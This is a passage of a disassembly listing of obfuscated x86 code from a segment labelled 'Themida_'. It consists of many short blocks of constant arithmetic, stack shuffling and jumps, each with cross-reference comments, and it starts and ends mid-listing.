loc_55BA12:				; CODE XREF: Themida_:0055ECAFj
		pop	ecx
		pop	esi
		sub	eax, 2
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55BA2C:				; CODE XREF: Themida_:0055CFF7j
		pop	ebx
		add	eax, ebx
		push	esi
		mov	esi, 73916AC8h
		sub	eax, 5DA269CAh
		sub	eax, 7A812F57h
		add	eax, esi
		push	6DBCh
		mov	[esp], ebx
		mov	ebx, 63624260h
		neg	ebx
		jmp	loc_5592AB
; ---------------------------------------------------------------------------


loc_55BA55:				; CODE XREF: Themida_:0055C631j
		mov	ebp, 17F8639Ah
		shl	ebp, 4
		and	ebp, 56306244h
		or	ebp, 359D3166h
		jmp	loc_55E618
; ---------------------------------------------------------------------------


loc_55BA6E:				; CODE XREF: Themida_:0055E06Ej
		sub	esp, 4
		jmp	loc_55E0D0
; ---------------------------------------------------------------------------


loc_55BA76:				; CODE XREF: Themida_:0055C6C1j
		or	edx, eax
		shl	edx, 1
		jmp	loc_558A89
; ---------------------------------------------------------------------------


loc_55BA7F:				; CODE XREF: Themida_:00559443j
		sub	esp, 4
		jmp	loc_558FCF
; ---------------------------------------------------------------------------


loc_55BA8A:				; CODE XREF: Themida_:005537C8j
		xor	esi, edi
		pop	edi
		jmp	loc_55873B
; ---------------------------------------------------------------------------


loc_55BA92:				; CODE XREF: Themida_:0055435Fj
		add	esp, 4
		jmp	loc_559A15
; ---------------------------------------------------------------------------


loc_55BA9A:				; CODE XREF: Themida_:0055C650j
		mov	esi, 4
		add	dword ptr [esp+4], 39BD04C9h
		add	[esp+4], esi
		sub	dword ptr [esp+4], 39BD04C9h
		jmp	loc_555A6A
; ---------------------------------------------------------------------------
		push	61DAh
		mov	[esp], eax
		push	654Bh
		mov	[esp], ebp
		mov	ebp, 2ECA61DDh
		mov	eax, 0DC4EB7C3h
		add	eax, 0DF41C70h
		add	eax, ebp
		jmp	loc_5563F2
; ---------------------------------------------------------------------------


loc_55BADE:				; CODE XREF: Themida_:00554692j
		sub	ebx, ecx
		jmp	loc_55F007
; ---------------------------------------------------------------------------


loc_55BAE5:				; CODE XREF: Themida_:005578C1j
		dec	edx
		jmp	loc_55DE81
; ---------------------------------------------------------------------------


loc_55BAEB:				; CODE XREF: Themida_:00558E4Fj
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		jmp	loc_55A19D
; ---------------------------------------------------------------------------


loc_55BAFE:				; CODE XREF: Themida_:0055EDF7j
		add	ebp, 0D41CA5DAh
		add	edx, ebp
		jmp	loc_557A33
; ---------------------------------------------------------------------------


loc_55BB0B:				; CODE XREF: Themida_:0055A0A6j
		push	262Bh
		mov	[esp], ebx
		jmp	loc_555724
; ---------------------------------------------------------------------------


loc_55BB18:				; CODE XREF: Themida_:0055938Cj
		mov	edi, 0BE7345B7h
		sub	edi, ecx
		pop	ecx
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_553143
; ---------------------------------------------------------------------------


loc_55BB2D:				; CODE XREF: Themida_:0055CAEAj
		dec	edi
		not	edi
		jmp	loc_55E66C
; ---------------------------------------------------------------------------


loc_55BB35:				; CODE XREF: Themida_:005579A3j
		mov	eax, 5B08540Ch
		or	eax, 234E27A7h
		not	eax
		or	eax, 3F823C93h
		add	eax, 5610C2EBh
		sub	edi, eax
		jmp	loc_5531E0
; ---------------------------------------------------------------------------


loc_55BB52:				; CODE XREF: Themida_:0055C105j
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	5A8Ch
		mov	[esp], ebp
		push	ebx
		push	12433248h
		pop	ebx
		inc	ebx
		jmp	loc_5571E3
; ---------------------------------------------------------------------------


loc_55BB7A:				; CODE XREF: Themida_:00559875j
		pop	ebx
		add	ebx, 1136572Bh
		add	ebx, edx
		sub	ebx, 1136572Bh
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_553C04
; ---------------------------------------------------------------------------


loc_55BBA0:				; CODE XREF: Themida_:0055878Ej
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55BBA5:				; CODE XREF: Themida_:0055766Cj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	7F69h
		mov	[esp], eax
		jmp	loc_5589CF
; ---------------------------------------------------------------------------


loc_55BBC1:				; CODE XREF: Themida_:00558F58j
		mov	eax, [esp]
		jmp	loc_558DD9
; ---------------------------------------------------------------------------


loc_55BBC9:				; CODE XREF: Themida_:0055497Aj
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		xor	ebx, eax
		mov	dx, [esp]
		sub	esp, 4
		jmp	loc_55EB75
; ---------------------------------------------------------------------------


loc_55BBE5:				; CODE XREF: Themida_:0055CF71j
		mov	edx, [esp]
		jmp	loc_55A0CF
; ---------------------------------------------------------------------------


loc_55BBED:				; CODE XREF: Themida_:005553B1j
		pop	ebp
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55BBF3:				; CODE XREF: Themida_:0055D244j
		add	ecx, ebp
		pop	ebp
		jmp	loc_557F12
; ---------------------------------------------------------------------------


loc_55BBFB:				; CODE XREF: Themida_:0055B934j
		add	bl, ch
		push	eax
		mov	al, 19h
		shr	al, 2
		jmp	loc_5560D7
; ---------------------------------------------------------------------------


loc_55BC08:				; CODE XREF: Themida_:00557C94j
		add	esi, edx
		pop	edx
		jmp	loc_558EC5
; ---------------------------------------------------------------------------


loc_55BC10:				; CODE XREF: Themida_:00558C68j
		mov	[esp], edi
		mov	edi, 4C611F4Bh
		add	edi, 2A4E3A34h
		inc	edi
		add	edi, 8950A684h
		jmp	loc_55B00E
; ---------------------------------------------------------------------------


loc_55BC2A:				; CODE XREF: Themida_:0055349Aj
		xor	ecx, 552657EEh
		sub	ecx, 6CF27A92h
		mov	ebx, ecx
		pop	ecx
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_55DD77
; ---------------------------------------------------------------------------


loc_55BC43:				; CODE XREF: Themida_:005571EDj
		or	ebx, 1D762C21h
		add	ebx, 0FD717D60h
		mov	ebp, ebx
		jmp	loc_55A4BE
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		jmp	loc_55B069
; ---------------------------------------------------------------------------


loc_55BC61:				; CODE XREF: Themida_:00555D86j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 69A51A78h
		xor	[esp+4], eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5588FF
; ---------------------------------------------------------------------------


loc_55BC82:				; CODE XREF: Themida_:0055EFB1j
		imul	ecx
		jmp	loc_55C768
; ---------------------------------------------------------------------------


loc_55BC89:				; CODE XREF: Themida_:00558796j
		xchg	eax, [esp]
		mov	esp, [esp]
		or	ecx, ecx
		jz	loc_55D9F2
		push	1DECh
		push	5B18h
		mov	[esp], esp
		jmp	loc_555EB9
; ---------------------------------------------------------------------------


loc_55BCA9:				; CODE XREF: Themida_:0055E4A9j
		and	eax, edx
		jmp	loc_55A768
; ---------------------------------------------------------------------------


loc_55BCB0:				; CODE XREF: Themida_:00558893j
		mov	eax, 457D33AAh
		add	edx, 34BD0044h
		sub	edx, eax
		jmp	loc_55AD0F
; ---------------------------------------------------------------------------


loc_55BCC2:				; CODE XREF: Themida_:00553C8Cj
		mov	eax, [esp]
		jmp	loc_55542D
; ---------------------------------------------------------------------------


loc_55BCCA:				; CODE XREF: Themida_:0055E536j
		pop	esi
		xor	edi, 248C6E45h
		jmp	loc_558FA2
; ---------------------------------------------------------------------------


loc_55BCD6:				; CODE XREF: Themida_:00557612j
		pop	edx
		jmp	loc_553869
; ---------------------------------------------------------------------------


loc_55BCDC:				; CODE XREF: Themida_:005563E6j
		sub	ecx, 4BCF8Ah
		jmp	loc_55E7EB
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55BCEF:				; CODE XREF: Themida_:0055B860j
		mov	ebx, 23703316h
		xor	ecx, ebx
		pop	ebx
		mov	ebx, ecx
		pop	ecx
		jmp	loc_55C2A1
; ---------------------------------------------------------------------------


loc_55BCFF:				; CODE XREF: Themida_:0055A295j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5565DF
; ---------------------------------------------------------------------------


loc_55BD13:				; CODE XREF: Themida_:0055C44Bj
		add	esp, 4
		pop	ebx
		jmp	loc_554153
; ---------------------------------------------------------------------------


loc_55BD1C:				; CODE XREF: Themida_:0055B73Fj
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		push	ebx
		push	esi
		mov	esi, 521D70F5h
		mov	ebx, 521D70F1h
		xor	ebx, esi
		pop	esi
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_55C6BE
; ---------------------------------------------------------------------------


loc_55BD42:				; CODE XREF: Themida_:00554951j
		add	ebp, 4
		jmp	loc_554B01
; ---------------------------------------------------------------------------


loc_55BD4D:				; CODE XREF: Themida_:0055C877j
		mov	eax, 41B87116h
		neg	eax
		dec	eax
		add	eax, 767C7AC7h
		inc	eax
		shr	eax, 6
		shr	eax, 1
		sub	eax, 0B7C3238Ah
		or	edi, eax
		pop	eax
		push	eax
		mov	eax, 638D259Fh
		dec	eax
		or	eax, 59C54F90h
		add	eax, 7447699Fh
		add	eax, 0DD639956h
		sub	edi, eax
		pop	eax
		xor	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, eax
		push	small word ptr [eax]
		jmp	loc_55428A
; ---------------------------------------------------------------------------


loc_55BD93:				; CODE XREF: Themida_:00558A9Dj
		mov	[esp], eax
		push	edi
		jmp	loc_559B68
; ---------------------------------------------------------------------------


loc_55BD9C:				; CODE XREF: Themida_:0055BF26j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 0
		push	esi
		mov	esi, 146F0371h
		add	esi, 1B1D01BAh
		push	edi
		jmp	loc_55C41D
; ---------------------------------------------------------------------------


loc_55BDB9:				; CODE XREF: Themida_:0055ED98j
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5540BC
; ---------------------------------------------------------------------------


loc_55BDC9:				; CODE XREF: Themida_:00557B21j
		pop	ebp
		jmp	loc_5594DE
; ---------------------------------------------------------------------------


loc_55BDCF:				; CODE XREF: Themida_:005553FDj
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 4
		push	edi
		jmp	loc_55E797
; ---------------------------------------------------------------------------


loc_55BDE4:				; CODE XREF: Themida_:0055B283j
		push	207A1D64h
		pop	eax
		sub	esp, 4
		jmp	loc_553B0E
; ---------------------------------------------------------------------------


loc_55BDF2:				; CODE XREF: Themida_:0055555Dj
		pop	eax
		push	edx
		mov	edx, 9594903h
		neg	edx
		xor	edx, 613D1F80h
		inc	edx
		shl	edx, 1
		xor	edx, 2F3752D8h
		push	esi
		mov	esi, 35983B73h
		dec	esi
		jmp	loc_55A72B
; ---------------------------------------------------------------------------


loc_55BE16:				; CODE XREF: Themida_:0055570Aj
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		push	edi
		push	esp
		pop	edi
		push	edx
		mov	edx, 497F3CA4h
		dec	edx
		sub	edx, 55297E5Fh
		sub	edx, 70776AB2h
		shr	edx, 2
		inc	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 20F794E1h
		jmp	loc_55579D
; ---------------------------------------------------------------------------


loc_55BE4E:				; CODE XREF: Themida_:005578F6j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_558951
; ---------------------------------------------------------------------------


loc_55BE59:				; CODE XREF: Themida_:0055507Bj
		add	edi, ebp
		add	edi, 4CA425BBh
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 58337FA0h
		dec	ecx
		jmp	loc_55C749
; ---------------------------------------------------------------------------


loc_55BE7E:				; CODE XREF: Themida_:00556EB8j
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_555E6E
; ---------------------------------------------------------------------------


loc_55BE8C:				; CODE XREF: Themida_:0055B873j
		inc	ch
		jmp	loc_55F11E
; ---------------------------------------------------------------------------


loc_55BE93:				; CODE XREF: Themida_:0055C012j
		add	al, 0E8h
		jmp	near ptr unk_553201
; ---------------------------------------------------------------------------


loc_55BE9A:				; CODE XREF: Themida_:00554DB7j
		mov	ecx, esp
		push	esi
		push	eax
		push	496D5576h
		jmp	loc_55D7FB
; ---------------------------------------------------------------------------


loc_55BEA8:				; CODE XREF: Themida_:0055DC73j
		push	ebp
		mov	ebp, 7FBF6225h
		not	ebp
		and	ebp, 31BB6900h
		add	ebp, 427646D9h
		jmp	loc_55A786
; ---------------------------------------------------------------------------


loc_55BEC1:				; CODE XREF: Themida_:00557AD7j
		pop	ebx
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	5B12h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	edx
		mov	edx, 1C2C3D79h
		push	edx
		jmp	loc_558E1F
; ---------------------------------------------------------------------------


loc_55BEF8:				; CODE XREF: Themida_:0055E563j
		push	ebx
		jmp	loc_556405
; ---------------------------------------------------------------------------


loc_55BEFE:				; CODE XREF: Themida_:00556AC0j
		sub	esp, 4
		mov	[esp], ecx
		push	edx
		mov	edx, 5F7507B5h
		jmp	loc_55D2BE
; ---------------------------------------------------------------------------


loc_55BF0F:				; CODE XREF: Themida_:00553F5Fj
		and	ebx, esi
		pop	esi
		add	ebx, 0FE00001Ch
		add	ebx, 36997A99h
		add	ebx, edi
		sub	ebx, 36997A99h
		jmp	loc_55BD9C
; ---------------------------------------------------------------------------


loc_55BF2B:				; CODE XREF: Themida_:00555654j
		push	esp
		jmp	loc_556C38
; ---------------------------------------------------------------------------


loc_55BF31:				; CODE XREF: Themida_:0055C9AFj
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		jmp	loc_55D91B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ecx
		jmp	loc_55D849
; ---------------------------------------------------------------------------


loc_55BF4F:				; CODE XREF: Themida_:00556BEBj
		push	1A75h
		mov	[esp], edx
		push	ecx
		jmp	loc_55CA49
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55543D
; ---------------------------------------------------------------------------


loc_55BF66:				; CODE XREF: Themida_:0055B29Dj
		shl	ebx, 5
		neg	ebx
		add	ebx, 470EF3ADh
		jmp	loc_55CF66
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55D869
; ---------------------------------------------------------------------------


loc_55BF81:				; CODE XREF: Themida_:005535BEj
		pop	edi
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		jmp	loc_55EBF8
; ---------------------------------------------------------------------------


loc_55BF91:				; CODE XREF: Themida_:0055798Aj
		sub	esp, 4
		jmp	loc_554788
; ---------------------------------------------------------------------------


loc_55BF99:				; CODE XREF: Themida_:00554A58j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	ebp
		push	ebx
		mov	ebx, 2A89677Dh
		sub	ebx, 7F44418Ch
		jmp	loc_55AE86
; ---------------------------------------------------------------------------


loc_55BFB2:				; CODE XREF: Themida_:0055E050j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 7AFB5E7Dh
		add	edi, 0EFA01D39h
		add	eax, 44B57916h
		add	eax, edi
		push	ebx
		mov	ebx, 44B57916h
		jmp	loc_556609
; ---------------------------------------------------------------------------


loc_55BFEA:				; CODE XREF: Themida_:0055DD96j
		sub	eax, 447A79BFh
		add	eax, 74E0555Bh
		add	eax, 442C1ED8h
		add	eax, 71245388h
		add	eax, ebx
		sub	eax, 71245388h
		sub	eax, 442C1ED8h
		jmp	loc_554F9F
; ---------------------------------------------------------------------------


loc_55C00F:				; CODE XREF: Themida_:005580A6j
		xor	bh, 8Fh
		jmp	loc_55BE93
; ---------------------------------------------------------------------------


loc_55C017:				; CODE XREF: Themida_:0055C09Fj
		pop	dword ptr [esp]
		jmp	loc_55A859
; ---------------------------------------------------------------------------


loc_55C01F:				; CODE XREF: Themida_:005581DAj
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		jmp	loc_55CCEC
; ---------------------------------------------------------------------------


loc_55C02A:				; CODE XREF: Themida_:00556C8Fj
		add	edx, eax
		pop	eax
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_5598DC
; ---------------------------------------------------------------------------


loc_55C047:				; CODE XREF: Themida_:00553B45j
		sub	eax, 2F7055AEh
		shr	eax, 2
		xor	eax, 0B18E712h
		mov	edx, eax
		pop	eax
		mov	ebx, 0F6A43C0h
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		push	0
		jmp	loc_55E05D
; ---------------------------------------------------------------------------


loc_55C06E:				; CODE XREF: Themida_:005541F6j
		push	eax
		mov	eax, 77BE66DDh
		not	eax
		neg	eax
		jmp	loc_55E63D
; ---------------------------------------------------------------------------


loc_55C07D:				; CODE XREF: Themida_:0055A527j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5570AF
; ---------------------------------------------------------------------------


loc_55C08F:				; CODE XREF: Themida_:005572A4j
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_55C017
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_556EAA
; ---------------------------------------------------------------------------


loc_55C0AA:				; CODE XREF: Themida_:00555E62j
		push	ebx
		mov	bh, 0C2h
		jmp	loc_556B5D
; ---------------------------------------------------------------------------


loc_55C0B2:				; CODE XREF: Themida_:00558DA7j
		shr	esi, 4
		shl	esi, 3
		sub	esi, 31B71E94h
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55D5A7
; ---------------------------------------------------------------------------
		lodsd
		push	ebp
		mov	ebp, 6FDF0DE4h
		push	eax
		jmp	loc_559CC6
; ---------------------------------------------------------------------------


loc_55C0EB:				; CODE XREF: Themida_:0055C1FFj
		mov	ecx, 4
		add	eax, 15416F0Fh
		add	eax, ecx
		sub	eax, 15416F0Fh
		pop	ecx
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_55BB52
; ---------------------------------------------------------------------------


loc_55C10A:				; CODE XREF: Themida_:0055AB0Dj
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_556595
; ---------------------------------------------------------------------------


loc_55C11A:				; CODE XREF: Themida_:0055444Aj
		pop	esi
		jmp	loc_559EBB
; ---------------------------------------------------------------------------


loc_55C120:				; CODE XREF: Themida_:0055AA07j
		pop	ebx
		jmp	loc_5592C2
; ---------------------------------------------------------------------------


loc_55C126:				; CODE XREF: Themida_:0055E8FBj
		add	ebp, ecx
		sub	ebp, 41E76365h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55995F
; ---------------------------------------------------------------------------


loc_55C13C:				; CODE XREF: Themida_:0055483Dj
		pop	edx
		or	edx, 10E5567h
		push	edi
		mov	edi, 0A18ED5F3h
		sub	edx, edi
		pop	edi
		add	esi, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	[edi+1Ch], esi
		pop	esi
		jmp	loc_558D00
; ---------------------------------------------------------------------------


loc_55C176:				; CODE XREF: Themida_:0055CAA8j
		neg	edx
		push	ebp
		jmp	loc_55C698
; ---------------------------------------------------------------------------


loc_55C17E:				; CODE XREF: Themida_:005542C3j
		pop	ebp
		jmp	loc_5586C8
; ---------------------------------------------------------------------------


loc_55C184:				; CODE XREF: Themida_:00558036j
		pop	edi
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55A572
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_552DCD
; ---------------------------------------------------------------------------


loc_55C19E:				; CODE XREF: Themida_:00552F1Cj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		push	30BA1941h
		pop	eax
		not	eax
		inc	eax
		jmp	loc_55A037
; ---------------------------------------------------------------------------


loc_55C1C0:				; CODE XREF: Themida_:0055821Bj
		pop	edx
		add	esi, 2
		jmp	loc_556C6B
; ---------------------------------------------------------------------------


loc_55C1C9:				; CODE XREF: Themida_:0055E00Aj
		push	esi
		mov	esi, 2
		jmp	loc_558EA5
; ---------------------------------------------------------------------------


loc_55C1D4:				; CODE XREF: Themida_:00553369j
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55B533
; ---------------------------------------------------------------------------


loc_55C1E0:				; CODE XREF: Themida_:00557876j
		add	edx, esi
		pop	esi
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55AB12
; ---------------------------------------------------------------------------


loc_55C1F3:				; CODE XREF: Themida_:0055E770j
		and	edx, 1F450DD8h
		jmp	loc_553886
; ---------------------------------------------------------------------------


loc_55C1FE:				; CODE XREF: Themida_:0055C5FDj
		push	ecx
		jmp	loc_55C0EB
; ---------------------------------------------------------------------------


loc_55C204:				; CODE XREF: Themida_:0055C6DCj
		push	4856h
		mov	[esp], edx
		mov	edx, 5B990A43h
		add	edx, 1
		push	edx
		neg	dword ptr [esp]
		pop	edx
		jmp	loc_55E2E6
; ---------------------------------------------------------------------------


loc_55C221:				; CODE XREF: Themida_:0055791Fj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		push	edi
		mov	edi, 4
		add	edx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5535D1
; ---------------------------------------------------------------------------


loc_55C25B:				; CODE XREF: Themida_:00556FD7j
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	9C9h
		mov	[esp], esi
		push	edi
		mov	edi, 494C77FCh
		jmp	loc_5537C3
; ---------------------------------------------------------------------------


loc_55C27E:				; CODE XREF: Themida_:00555D25j
		add	eax, ecx
		jmp	loc_559DC0
; ---------------------------------------------------------------------------


loc_55C285:				; CODE XREF: Themida_:0055D26Fj
		sub	edx, 15734848h
		add	edx, eax
		jmp	loc_558704
; ---------------------------------------------------------------------------


loc_55C292:				; CODE XREF: Themida_:0055D689j
		push	4FC8h
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_55E723
; ---------------------------------------------------------------------------


loc_55C2A1:				; CODE XREF: Themida_:0055BCFAj
		shl	ebx, 8
		and	ebx, 475B6910h
		not	ebx
		push	ecx
		mov	ecx, 5180803h
		add	ebx, ecx
		pop	ecx
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5579D1
; ---------------------------------------------------------------------------


loc_55C2C1:				; CODE XREF: Themida_:0055F179j
		sub	al, ch
		push	edx
		mov	dl, 59h
		or	dl, 20h
		sub	dl, 0B5h
		sub	al, 0C9h
		sub	al, dl
		push	ecx
		push	ax
		mov	ah, 9Fh
		mov	ch, ah
		pop	ax
		xor	ch, 56h
		add	al, ch
		pop	ecx
		jmp	loc_5531F8
; ---------------------------------------------------------------------------


loc_55C2E4:				; CODE XREF: Themida_:00556F76j
		add	ebx, ecx
		jmp	loc_557AC1
; ---------------------------------------------------------------------------


loc_55C2EB:				; CODE XREF: Themida_:0055CED4j
		pop	ebp
		add	esp, 4
		jmp	loc_557881
; ---------------------------------------------------------------------------


loc_55C2F7:				; CODE XREF: Themida_:0055CF27j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5565C8
; ---------------------------------------------------------------------------


loc_55C30D:				; CODE XREF: Themida_:0055610Bj
		push	ebx
		jmp	loc_555D70
; ---------------------------------------------------------------------------


loc_55C313:				; CODE XREF: Themida_:0055DEE6j
		push	ecx
		push	4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, 25875856h
		sub	eax, 8696029h
		add	eax, ecx
		add	eax, 8696029h
		sub	eax, 25875856h
		pop	ecx
		push	edx
		mov	edx, 2
		jmp	loc_55428F
; ---------------------------------------------------------------------------


loc_55C345:				; CODE XREF: Themida_:0055353Cj
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55347C
; ---------------------------------------------------------------------------


loc_55C350:				; CODE XREF: Themida_:0055AB68j
		xor	ebx, ecx
		pop	ecx
		jmp	loc_553241
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_557D68
; ---------------------------------------------------------------------------


loc_55C360:				; CODE XREF: Themida_:00554C00j
		push	dword ptr [esp]
		jmp	loc_55DC99
; ---------------------------------------------------------------------------


loc_55C368:				; CODE XREF: Themida_:0055D9F8j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 437B5AC4h
		mov	ebx, esi
		push	dword ptr [esp]
		pop	esi
		push	eax
		jmp	loc_5583B2
; ---------------------------------------------------------------------------


loc_55C382:				; CODE XREF: Themida_:0055C490j
		pop	ebp
		add	esp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_559F62
; ---------------------------------------------------------------------------


loc_55C39A:				; CODE XREF: Themida_:00556B06j
		xor	dl, 0E7h
		neg	dl
		jmp	loc_5536BB
; ---------------------------------------------------------------------------


loc_55C3A4:				; CODE XREF: Themida_:0055762Fj
		pop	ebx
		not	edx
		jmp	loc_55D6E6
; ---------------------------------------------------------------------------


loc_55C3AC:				; CODE XREF: Themida_:0055D0BCj
		mov	ebx, esp
		push	edx
		jmp	loc_55D489
; ---------------------------------------------------------------------------


loc_55C3B4:				; CODE XREF: Themida_:00556859j
		mov	edx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 137D5E21h
		jmp	loc_55A906
; ---------------------------------------------------------------------------


loc_55C3C5:				; CODE XREF: Themida_:0055B10Dj
		mov	edx, 688F0BE3h
		mov	ebx, 0E1DA4F92h
		add	ebx, edx
		mov	edx, [esp]
		jmp	loc_55F0E5
; ---------------------------------------------------------------------------


loc_55C3D9:				; CODE XREF: Themida_:005595F3j
		mov	ax, [esp]
		push	5067h
		mov	[esp], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		push	edx
		mov	edx, 3A482AD9h
		dec	edx
		sub	edx, 50356A54h
		push	ebp
		mov	ebp, 58602F9Ch
		xor	edx, ebp
		pop	ebp
		jmp	loc_55E1B1
; ---------------------------------------------------------------------------


loc_55C408:				; CODE XREF: Themida_:00554973j
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_559601
; ---------------------------------------------------------------------------


loc_55C41D:				; CODE XREF: Themida_:0055BDB4j
		mov	edi, 7D926824h
		xor	edi, 710E7FEDh
		add	edi, 27084A97h
		xor	edi, 16D13F5Dh
		add	esi, edi
		pop	edi
		sub	edx, esi
		pop	esi
		add	edx, ebx
		add	edx, 55016268h
		add	dword ptr [edx], 1
		mov	edx, [esp]
		jmp	loc_55BD13
; ---------------------------------------------------------------------------


loc_55C450:				; CODE XREF: Themida_:00553280j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_554CFC
; ---------------------------------------------------------------------------


loc_55C46E:				; CODE XREF: Themida_:0055E31Fj
		push	esi
		jmp	loc_55DE59
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	69EDh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_55C382
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5747D8


loc_55C495:				; CODE XREF: sub_5747D8-1F80Aj
		sub	bl, al
		add	bl, 7
		pop	eax
		sub	bl, 0E4h
		movzx	eax, al
		jmp	loc_553456
; END OF FUNCTION CHUNK	FOR sub_5747D8
; ---------------------------------------------------------------------------


loc_55C4A6:				; CODE XREF: Themida_:00553D6Aj
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_55AC9F
; ---------------------------------------------------------------------------


loc_55C4B3:				; CODE XREF: Themida_:00559A3Aj
		push	ecx
		mov	ecx, 30EB1121h
		and	esi, ecx
		jmp	loc_5542DF
; ---------------------------------------------------------------------------


loc_55C4C0:				; CODE XREF: Themida_:0055362Cj
		sub	eax, 2A526B28h
		mov	ebp, [esp]
